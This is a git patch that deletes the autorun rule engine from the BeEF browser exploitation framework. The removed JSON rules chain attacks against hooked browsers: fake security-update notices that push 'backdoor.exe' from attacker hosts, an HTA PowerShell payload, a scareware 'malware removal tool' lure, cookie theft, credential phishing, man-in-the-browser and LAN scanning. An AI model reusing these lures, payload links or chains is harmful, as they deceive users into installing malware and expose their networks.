From a9de1fad61e7b801108881465669f62cea51f540 Mon Sep 17 00:00:00 2001 From: kaitoozawa Date: Sat, 27 Dec 2025 16:42:36 +1000 Subject: [PATCH] Phase 5: Remove Configuration and Assets --- arerules/alert.json | 14 -------- arerules/c_osx_test-return-mods.json | 35 ------------------- arerules/confirm_close_tab.json | 16 --------- arerules/enabled/README | 2 -- arerules/ff_osx_extension-dropper.json | 19 ---------- arerules/get_cookie.json | 14 -------- arerules/ie_win_fakenotification-clippy.json | 31 ---------------- arerules/ie_win_htapowershell.json | 26 -------------- arerules/ie_win_missingflash-prettytheft.json | 27 -------------- arerules/ie_win_test-return-mods.json | 35 ------------------- arerules/lan_cors_scan.json | 25 ------------- arerules/lan_cors_scan_common.json | 19 ---------- arerules/lan_fingerprint.json | 25 ------------- arerules/lan_fingerprint_common.json | 19 ---------- arerules/lan_flash_scan.json | 24 ------------- arerules/lan_flash_scan_common.json | 19 ---------- arerules/lan_http_scan.json | 25 ------------- arerules/lan_http_scan_common.json | 19 ---------- arerules/lan_ping_sweep.json | 22 ------------ arerules/lan_ping_sweep_common.json | 17 --------- arerules/lan_port_scan.json | 25 ------------- arerules/lan_sw_port_scan.json | 21 ----------- arerules/man_in_the_browser.json | 13 ------- arerules/raw_javascript.json | 15 -------- arerules/record_snapshots.json | 15 -------- arerules/win_fake_malware.json | 35 ------------------- config.yaml | 13 ------- core/main/handlers/hookedbrowsers.rb | 7 ---- core/main/rest/api.rb | 7 ---- 29 files changed, 584 deletions(-) delete mode 100644 arerules/alert.json delete mode 100644 arerules/c_osx_test-return-mods.json delete mode 100644 arerules/confirm_close_tab.json delete mode 100644 arerules/enabled/README delete mode 100644 arerules/ff_osx_extension-dropper.json delete mode 100644 arerules/get_cookie.json delete mode 100644 arerules/ie_win_fakenotification-clippy.json delete mode 100644 arerules/ie_win_htapowershell.json delete mode 100644 arerules/ie_win_missingflash-prettytheft.json delete mode 100644 arerules/ie_win_test-return-mods.json delete mode 100644 arerules/lan_cors_scan.json delete mode 100644 arerules/lan_cors_scan_common.json delete mode 100644 arerules/lan_fingerprint.json delete mode 100644 arerules/lan_fingerprint_common.json delete mode 100644 arerules/lan_flash_scan.json delete mode 100644 arerules/lan_flash_scan_common.json delete mode 100644 arerules/lan_http_scan.json delete mode 100644 arerules/lan_http_scan_common.json delete mode 100644 arerules/lan_ping_sweep.json delete mode 100644 arerules/lan_ping_sweep_common.json delete mode 100644 arerules/lan_port_scan.json delete mode 100644 arerules/lan_sw_port_scan.json delete mode 100644 arerules/man_in_the_browser.json delete mode 100644 arerules/raw_javascript.json delete mode 100644 arerules/record_snapshots.json delete mode 100644 arerules/win_fake_malware.json diff --git a/arerules/alert.json b/arerules/alert.json deleted file mode 100644 index 0f6e537db..000000000 --- a/arerules/alert.json +++ /dev/null @@ -1,14 +0,0 @@ -{"name": "Display an alert", - "author": "mgeeky", - "modules": [ - {"name": "alert_dialog", - "condition": null, - "options": { - "text":"You've been BeEFed ;>" - } - } - ], - "execution_order": [0], - "execution_delay": [0], - "chain_mode": "sequential" -} diff --git a/arerules/c_osx_test-return-mods.json b/arerules/c_osx_test-return-mods.json deleted file mode 100644 index 684d05c6f..000000000 --- a/arerules/c_osx_test-return-mods.json +++ /dev/null @@ -1,35 +0,0 @@ -{ - "name": "Test return debug stuff", - "author": "antisnatchor", - "browser": "S", - "browser_version": ">= 7", - "os": "OSX", - "os_version": "<= 10.10", - "modules": [{ - "name": "test_return_ascii_chars", - "condition": null, - "options": {} - }, { - "name": "test_return_long_string", - "condition": "status==1", - "code": "var mod_input=test_return_ascii_chars_mod_output + '--(CICCIO)--';", - "options": { - "repeat": "10", - "repeat_string": "<>" - } - }, - { - "name": "alert_dialog", - "condition": "status=1", - "code": "var mod_input=test_return_long_string_mod_output + '--(PASTICCIO)--';", - "options":{"text":"<>"} - }, - { - "name": "get_page_html", - "condition": null, - "options": {} - }], - "execution_order": [0, 1, 2, 3], - "execution_delay": [0, 0, 0, 0], - "chain_mode": "nested-forward" -} \ No newline at end of file diff --git a/arerules/confirm_close_tab.json b/arerules/confirm_close_tab.json deleted file mode 100644 index c3a4a65a7..000000000 --- a/arerules/confirm_close_tab.json +++ /dev/null @@ -1,16 +0,0 @@ -{"name": "Confirm Close Tab", - "author": "mgeeky", - "modules": [ - {"name": "confirm_close_tab", - "condition": null, - "code": null, - "options": { - "text":"Are you sure you want to navigate away from this page?", - "usePopUnder":"true" - } - } - ], - "execution_order": [0], - "execution_delay": [0], - "chain_mode": "sequential" -} diff --git a/arerules/enabled/README b/arerules/enabled/README deleted file mode 100644 index dee3c03d2..000000000 --- a/arerules/enabled/README +++ /dev/null @@ -1,2 +0,0 @@ -Move here the ARE rule files that you want to pre-load when BeEF starts. -Make sure they are .json files (any other file extension is ignored). \ No newline at end of file diff --git a/arerules/ff_osx_extension-dropper.json b/arerules/ff_osx_extension-dropper.json deleted file mode 100644 index 4c6b388af..000000000 --- a/arerules/ff_osx_extension-dropper.json +++ /dev/null @@ -1,19 +0,0 @@ -{ - "name": "Firefox Extension Dropper", - "author": "antisnatchor", - "browser": "FF", - "os": "OSX", - "os_version": ">= 10.8", - "modules": [{ - "name": "firefox_extension_dropper", - "condition": null, - "options": { - "extension_name": "Ummeneske", - "xpi_name": "Ummeneske", - "base_host": "http://172.16.45.1:3000" - } - }], - "execution_order": [0], - "execution_delay": [0], - "chain_mode": "sequential" -} diff --git a/arerules/get_cookie.json b/arerules/get_cookie.json deleted file mode 100644 index 42e7cf433..000000000 --- a/arerules/get_cookie.json +++ /dev/null @@ -1,14 +0,0 @@ -{ - "name": "Get Cookie", - "author": "@benichmt1", - "modules": [ - {"name": "get_cookie", - "condition": null, - "options": { - } - } - ], - "execution_order": [0], - "execution_delay": [0], - "chain_mode": "sequential" -} diff --git a/arerules/ie_win_fakenotification-clippy.json b/arerules/ie_win_fakenotification-clippy.json deleted file mode 100644 index 22f8cbbdc..000000000 --- a/arerules/ie_win_fakenotification-clippy.json +++ /dev/null @@ -1,31 +0,0 @@ -{ - "name": "Ie Fake Notification + Clippy", - "author": "antisnatchor", - "browser": "IE", - "browser_version": "== 11", - "os": "Windows", - "os_version": ">= 7", - "modules": [ - { - "name": "fake_notification", - "condition": null, - "options": { - "notification_text":"Internet Explorer SECURITY NOTIFICATION: your browser is outdated and vulnerable to critical security vulnerabilities like CVE-2015-009 and CVE-2014-879. Please update it." - } - } - ,{ - "name": "clippy", - "condition": null, - "options": { - "clippydir": "http://172.16.45.1:3000/clippy/", - "askusertext": "Your browser appears to be out of date. Would you like to upgrade it?", - "executeyes": "http://172.16.45.1:3000/updates/backdoor.exe", - "respawntime":"5000", - "thankyoumessage":"Thanks for upgrading your browser! Look forward to a safer, faster web!" - } - } - ], - "execution_order": [0,1], - "execution_delay": [0,2000], - "chain_mode": "sequential" -} diff --git a/arerules/ie_win_htapowershell.json b/arerules/ie_win_htapowershell.json deleted file mode 100644 index d0c477698..000000000 --- a/arerules/ie_win_htapowershell.json +++ /dev/null @@ -1,26 +0,0 @@ -{ - "name": "HTA PowerShell", - "author": "antisnatchor", - "browser": "IE", - "os": "Windows", - "os_version": ">= 7", - "modules": [ - { - "name": "fake_notification", - "condition": null, - "options": { - "notification_text":"Internet Explorer SECURITY NOTIFICATION: your browser is outdated and vulnerable to critical security vulnerabilities like CVE-2015-009 and CVE-2014-879. Please apply the Microsoft Update below:" - } - }, - { - "name": "hta_powershell", - "condition": null, - "options": { - "domain":"http://172.16.45.1:3000", - "ps_url":"/ps" - } - }], - "execution_order": [0,1], - "execution_delay": [0,500], - "chain_mode": "sequential" -} diff --git a/arerules/ie_win_missingflash-prettytheft.json b/arerules/ie_win_missingflash-prettytheft.json deleted file mode 100644 index e7620f677..000000000 --- a/arerules/ie_win_missingflash-prettytheft.json +++ /dev/null @@ -1,27 +0,0 @@ -{ - "name": "Fake missing plugin + Pretty Theft LinkedIn", - "author": "antisnatchor", - "browser": "IE", - "browser_version": ">= 8", - "os": "Windows", - "os_version": "== XP", - "modules": [{ - "name": "fake_notification_c", - "condition": null, - "options": { - "url": "http://172.16.45.1:3000/updates/backdoor.exe", - "notification_text": "The version of the Adobe Flash plugin is outdated and does not include the latest security updates. Please ignore the missing signature, we at Adobe are working on it. " - } - }, { - "name": "pretty_theft", - "condition": null, - "options": { - "choice": "Windows", - "backing": "Grey", - "imgsauce": "http://172.16.45.1:3000/ui/media/images/beef.png" - } - }], - "execution_order": [0, 1], - "execution_delay": [0, 5000], - "chain_mode": "sequential" -} \ No newline at end of file diff --git a/arerules/ie_win_test-return-mods.json b/arerules/ie_win_test-return-mods.json deleted file mode 100644 index 657bb2026..000000000 --- a/arerules/ie_win_test-return-mods.json +++ /dev/null @@ -1,35 +0,0 @@ -{ - "name": "Test return debug stuff", - "author": "antisnatchor", - "browser": "IE", - "browser_version": "<= 8", - "os": "Windows", - "os_version": ">= XP", - "modules": [{ - "name": "test_return_ascii_chars", - "condition": null, - "options": {} - }, { - "name": "test_return_long_string", - "condition": "status==1", - "code": "var mod_input=test_return_ascii_chars_mod_output + '--CICCIO--';", - "options": { - "repeat": "10", - "repeat_string": "<>" - } - }, - { - "name": "alert_dialog", - "condition": "status=1", - "code": "var mod_input=test_return_long_string_mod_output + '--PASTICCIO--';", - "options":{"text":"<>"} - }, - { - "name": "get_page_html", - "condition": null, - "options": {} - }], - "execution_order": [0, 1, 2, 3], - "execution_delay": [0, 0, 0, 0], - "chain_mode": "nested-forward" -} \ No newline at end of file diff --git a/arerules/lan_cors_scan.json b/arerules/lan_cors_scan.json deleted file mode 100644 index 2d75b561f..000000000 --- a/arerules/lan_cors_scan.json +++ /dev/null @@ -1,25 +0,0 @@ -{"name": "LAN CORS Scan", - "author": "bcoles", - "browser": ["FF", "C"], - "modules": [ - {"name": "get_internal_ip_webrtc", - "condition": null, - "code": null, - "options": {} - }, - {"name": "cross_origin_scanner_cors", - "condition": "status==1", - "code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.1'; var end = s[0]+'.'+s[1]+'.'+s[2]+'.255'; var mod_input = start+'-'+end;", - "options": { - "ipRange":"<>", - "ports":"80,8080", - "threads":"2", - "wait":"2", - "timeout":"10" - } - } - ], - "execution_order": [0, 1], - "execution_delay": [0, 0], - "chain_mode": "nested-forward" -} diff --git a/arerules/lan_cors_scan_common.json b/arerules/lan_cors_scan_common.json deleted file mode 100644 index 51f994e04..000000000 --- a/arerules/lan_cors_scan_common.json +++ /dev/null @@ -1,19 +0,0 @@ -{"name": "LAN CORS Scan (Common IPs)", - "author": "bcoles", - "modules": [ - {"name": "cross_origin_scanner_cors", - "condition": null, - "code": null, - "options": { - "ipRange":"common", - "ports":"80,8080", - "threads":"2", - "wait":"2", - "timeout":"10" - } - } - ], - "execution_order": [0], - "execution_delay": [0], - "chain_mode": "sequential" -} diff --git a/arerules/lan_fingerprint.json b/arerules/lan_fingerprint.json deleted file mode 100644 index b9a6313a4..000000000 --- a/arerules/lan_fingerprint.json +++ /dev/null @@ -1,25 +0,0 @@ -{"name": "LAN Fingerprint", - "author": "bcoles", - "browser": ["FF", "C"], - "modules": [ - {"name": "get_internal_ip_webrtc", - "condition": null, - "code": null, - "options": {} - }, - {"name": "internal_network_fingerprinting", - "condition": "status==1", - "code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.1'; var end = s[0]+'.'+s[1]+'.'+s[2]+'.255'; var mod_input = start+'-'+end;", - "options": { - "ipRange":"<>", - "ports":"80,8080", - "threads":"3", - "wait":"5", - "timeout":"10" - } - } - ], - "execution_order": [0, 1], - "execution_delay": [0, 0], - "chain_mode": "nested-forward" -} diff --git a/arerules/lan_fingerprint_common.json b/arerules/lan_fingerprint_common.json deleted file mode 100644 index 39d94d7f2..000000000 --- a/arerules/lan_fingerprint_common.json +++ /dev/null @@ -1,19 +0,0 @@ -{"name": "LAN Fingerprint (Common IPs)", - "author": "antisnatchor", - "modules": [ - {"name": "internal_network_fingerprinting", - "condition": null, - "code": null, - "options": { - "ipRange":"common", - "ports":"80,8080", - "threads":"3", - "wait":"5", - "timeout":"10" - } - } - ], - "execution_order": [0], - "execution_delay": [0], - "chain_mode": "sequential" -} diff --git a/arerules/lan_flash_scan.json b/arerules/lan_flash_scan.json deleted file mode 100644 index 2cf38eb2a..000000000 --- a/arerules/lan_flash_scan.json +++ /dev/null @@ -1,24 +0,0 @@ -{"name": "LAN Flash Scan", - "author": "bcoles", - "browser": ["FF", "C"], - "modules": [ - {"name": "get_internal_ip_webrtc", - "condition": null, - "code": null, - "options": {} - }, - {"name": "cross_origin_scanner_flash", - "condition": "status==1", - "code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.1'; var end = s[0]+'.'+s[1]+'.'+s[2]+'.255'; var mod_input = start+'-'+end;", - "options": { - "ipRange":"<>", - "ports":"80,8080", - "threads":"2", - "timeout":"5" - } - } - ], - "execution_order": [0, 1], - "execution_delay": [0, 0], - "chain_mode": "nested-forward" -} diff --git a/arerules/lan_flash_scan_common.json b/arerules/lan_flash_scan_common.json deleted file mode 100644 index 859febf95..000000000 --- a/arerules/lan_flash_scan_common.json +++ /dev/null @@ -1,19 +0,0 @@ -{"name": "LAN Flash Scan (Common IPs)", - "author": "bcoles", - "browser": ["FF", "C"], - "modules": [ - {"name": "cross_origin_scanner_flash", - "condition": null, - "code": null, - "options": { - "ipRange":"common", - "ports":"80,8080", - "threads":"2", - "timeout":"5" - } - } - ], - "execution_order": [0], - "execution_delay": [0], - "chain_mode": "sequential" -} diff --git a/arerules/lan_http_scan.json b/arerules/lan_http_scan.json deleted file mode 100644 index ce900f506..000000000 --- a/arerules/lan_http_scan.json +++ /dev/null @@ -1,25 +0,0 @@ -{"name": "LAN HTTP Scan", - "author": "bcoles", - "browser": ["FF", "C"], - "modules": [ - {"name": "get_internal_ip_webrtc", - "condition": null, - "code": null, - "options": {} - }, - {"name": "get_http_servers", - "condition": "status==1", - "code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.1'; var end = s[0]+'.'+s[1]+'.'+s[2]+'.255'; var mod_input = start+'-'+end;", - "options": { - "rhosts":"<>", - "ports":"80,8080", - "threads":"3", - "wait":"5", - "timeout":"10" - } - } - ], - "execution_order": [0, 1], - "execution_delay": [0, 0], - "chain_mode": "nested-forward" -} diff --git a/arerules/lan_http_scan_common.json b/arerules/lan_http_scan_common.json deleted file mode 100644 index 238a04983..000000000 --- a/arerules/lan_http_scan_common.json +++ /dev/null @@ -1,19 +0,0 @@ -{"name": "LAN HTTP Scan (Common IPs)", - "author": "bcoles", - "modules": [ - {"name": "get_http_servers", - "condition": null, - "code": null, - "options": { - "rhosts":"common", - "ports":"80,8080", - "threads":"3", - "wait":"5", - "timeout":"10" - } - } - ], - "execution_order": [0], - "execution_delay": [0], - "chain_mode": "sequential" -} diff --git a/arerules/lan_ping_sweep.json b/arerules/lan_ping_sweep.json deleted file mode 100644 index 8f58ccc01..000000000 --- a/arerules/lan_ping_sweep.json +++ /dev/null @@ -1,22 +0,0 @@ -{"name": "LAN Ping Sweep", - "author": "bcoles", - "browser": "FF", - "modules": [ - {"name": "get_internal_ip_webrtc", - "condition": null, - "code": null, - "options": {} - }, - {"name": "ping_sweep", - "condition": "status==1", - "code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.1'; var end = s[0]+'.'+s[1]+'.'+s[2]+'.255'; var mod_input = start+'-'+end;", - "options": { - "rhosts":"<>", - "threads":"3" - } - } - ], - "execution_order": [0, 1], - "execution_delay": [0, 0], - "chain_mode": "nested-forward" -} diff --git a/arerules/lan_ping_sweep_common.json b/arerules/lan_ping_sweep_common.json deleted file mode 100644 index 4c21b7f3d..000000000 --- a/arerules/lan_ping_sweep_common.json +++ /dev/null @@ -1,17 +0,0 @@ -{"name": "LAN Ping Sweep (Common IPs)", - "author": "bcoles", - "browser": "FF", - "modules": [ - {"name": "ping_sweep", - "condition": null, - "code": null, - "options": { - "rhosts":"common", - "threads":"3" - } - } - ], - "execution_order": [0], - "execution_delay": [0], - "chain_mode": "sequential" -} diff --git a/arerules/lan_port_scan.json b/arerules/lan_port_scan.json deleted file mode 100644 index 47d72e25f..000000000 --- a/arerules/lan_port_scan.json +++ /dev/null @@ -1,25 +0,0 @@ -{"name": "LAN Port Scan", - "author": "aburro & aussieklutz", - "modules": [ - {"name": "get_internal_ip_webrtc", - "condition": null, - "code": null, - "options": {} - }, - {"name": "port_scanner", - "condition": "status==1", - "code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.'+s[3]; var mod_input = start;", - "options": { - "ipHost":"<>", - "ports":"80,8080", - "closetimeout":"1100", - "opentimeout":"2500", - "delay":"600", - "debug":"false" - } - } - ], - "execution_order": [0, 1], - "execution_delay": [0, 0], - "chain_mode": "nested-forward" -} diff --git a/arerules/lan_sw_port_scan.json b/arerules/lan_sw_port_scan.json deleted file mode 100644 index 2405dc778..000000000 --- a/arerules/lan_sw_port_scan.json +++ /dev/null @@ -1,21 +0,0 @@ -{"name": "LAN SW Port Scan", - "author": "aburro & aussieklutz", - "modules": [ - {"name": "get_internal_ip_webrtc", - "condition": null, - "code": null, - "options": {} - }, - {"name": "sw_port_scanner", - "condition": "status==1", - "code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.'+s[3]; var mod_input = start;", - "options": { - "ipHost":"192.168.1.10", - "ports":"80,8080" - } - } - ], - "execution_order": [0, 1], - "execution_delay": [0, 0], - "chain_mode": "nested-forward" -} diff --git a/arerules/man_in_the_browser.json b/arerules/man_in_the_browser.json deleted file mode 100644 index 31f9c370e..000000000 --- a/arerules/man_in_the_browser.json +++ /dev/null @@ -1,13 +0,0 @@ -{"name": "Perform Man-In-The-Browser", - "author": "mgeeky", - "modules": [ - {"name": "man_in_the_browser", - "condition": null, - "code": null, - "options": {} - } - ], - "execution_order": [0], - "execution_delay": [0], - "chain_mode": "sequential" -} diff --git a/arerules/raw_javascript.json b/arerules/raw_javascript.json deleted file mode 100644 index 6e7bca3e7..000000000 --- a/arerules/raw_javascript.json +++ /dev/null @@ -1,15 +0,0 @@ -{ - "name": "Raw JavaScript", - "author": "wade@bindshell.net", - "modules": [ - {"name": "raw_javascript", - "condition": null, - "options": { - "cmd": "alert(0xBeEF);" - } - } - ], - "execution_order": [0], - "execution_delay": [0], - "chain_mode": "sequential" -} diff --git a/arerules/record_snapshots.json b/arerules/record_snapshots.json deleted file mode 100644 index 9d0178699..000000000 --- a/arerules/record_snapshots.json +++ /dev/null @@ -1,15 +0,0 @@ -{"name": "Collects multiple snapshots of the webpage within Same-Origin", - "author": "mgeeky", - "modules": [ - {"name": "spyder_eye", - "condition": null, - "options": { - "repeat":"10", - "delay":"3000" - } - } - ], - "execution_order": [0], - "execution_delay": [0], - "chain_mode": "sequential" -} diff --git a/arerules/win_fake_malware.json b/arerules/win_fake_malware.json deleted file mode 100644 index f0daf9580..000000000 --- a/arerules/win_fake_malware.json +++ /dev/null @@ -1,35 +0,0 @@ -// note: update your dropper URL (dropper.local) in each of the modules below -{ - "name": "Windows Fake Malware", - "author": "bcoles", - "os": "Windows", - "modules": [ - { - "name": "blockui", - "condition": null, - "options": { - "message": "

This is an important security warning. Your system is infected with a virus. It's strongly advised that you run the provided malware removal tool to fix your computer before you do any shopping online.

Microsoft Malware Removal Toolkit

", - "timeout": "9999" - } - }, - { - "name": "text_to_voice", - "condition": null, - "options": { - "message": "This is an important security warning. Your system is infected with a virus. It's strongly advised that you run the provided malware removal tool to fix your computer; before you do any shopping online.", - "language": "en" - } - }, - { - "name": "fake_notification_ie", - "condition": null, - "options": { - "url": "http://dropper.local/malware_removal_tool.exe", - "notification_text": "SECURITY WARNING: Download the Microsoft Malware Removal Toolkit as soon as possible." - } - } - ], - "execution_order": [0,1,2], - "execution_delay": [0,0,0], - "chain_mode": "sequential" -} diff --git a/config.yaml b/config.yaml index d054bd66f..74e3179a0 100644 --- a/config.yaml +++ b/config.yaml @@ -102,19 +102,6 @@ beef: database: file: "beef.db" - # Autorun Rule Engine - autorun: - # this is used when rule chain_mode type is nested-forward, needed as command results are checked via setInterval - # to ensure that we can wait for async command results. The timeout is needed to prevent infinite loops or eventually - # continue execution regardless of results. - # If you're chaining multiple async modules, and you expect them to complete in more than 5 seconds, increase the timeout. - result_poll_interval: 300 - result_poll_timeout: 5000 - - # If the modules doesn't return status/results and timeout exceeded, continue anyway with the chain. - # This is useful to call modules (nested-forward chain mode) that are not returning their status/results. - continue_after_timeout: true - # Enables DNS lookups on zombie IP addresses dns_hostname_lookup: false diff --git a/core/main/handlers/hookedbrowsers.rb b/core/main/handlers/hookedbrowsers.rb index b15ad1b08..2f173b98a 100644 --- a/core/main/handlers/hookedbrowsers.rb +++ b/core/main/handlers/hookedbrowsers.rb @@ -113,13 +113,6 @@ module BeEF zombie_commands = BeEF::Core::Models::Command.where(hooked_browser_id: hooked_browser.id, instructions_sent: false) zombie_commands.each { |command| add_command_instructions(command, hooked_browser) } - # @note Check if there are any ARE rules to be triggered. If is_sent=false rules are triggered - are_executions = BeEF::Core::Models::Execution.where(is_sent: false, session_id: hook_session_id) - are_executions.each do |are_exec| - @body += are_exec.mod_body - are_exec.update(is_sent: true, exec_time: Time.new.to_i) - end - # @note We dynamically get the list of all browser hook handler using the API and register them BeEF::API::Registrar.instance.fire(BeEF::API::Server::Hook, 'pre_hook_send', hooked_browser, @body, params, request, response) else diff --git a/core/main/rest/api.rb b/core/main/rest/api.rb index 207c596ff..b18341d6b 100644 --- a/core/main/rest/api.rb +++ b/core/main/rest/api.rb @@ -48,12 +48,6 @@ module BeEF end end - module RegisterAutorunHandler - def self.mount_handler(server) - server.mount('/api/autorun', BeEF::Core::Rest::AutorunEngine.new) - end - end - BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterHooksHandler, BeEF::API::Server, 'mount_handler') BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterBrowserDetailsHandler, BeEF::API::Server, 'mount_handler') BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterModulesHandler, BeEF::API::Server, 'mount_handler') @@ -61,7 +55,6 @@ module BeEF BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterLogsHandler, BeEF::API::Server, 'mount_handler') BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterAdminHandler, BeEF::API::Server, 'mount_handler') BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterServerHandler, BeEF::API::Server, 'mount_handler') - BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterAutorunHandler, BeEF::API::Server, 'mount_handler') # # Check the source IP is within the permitted subnet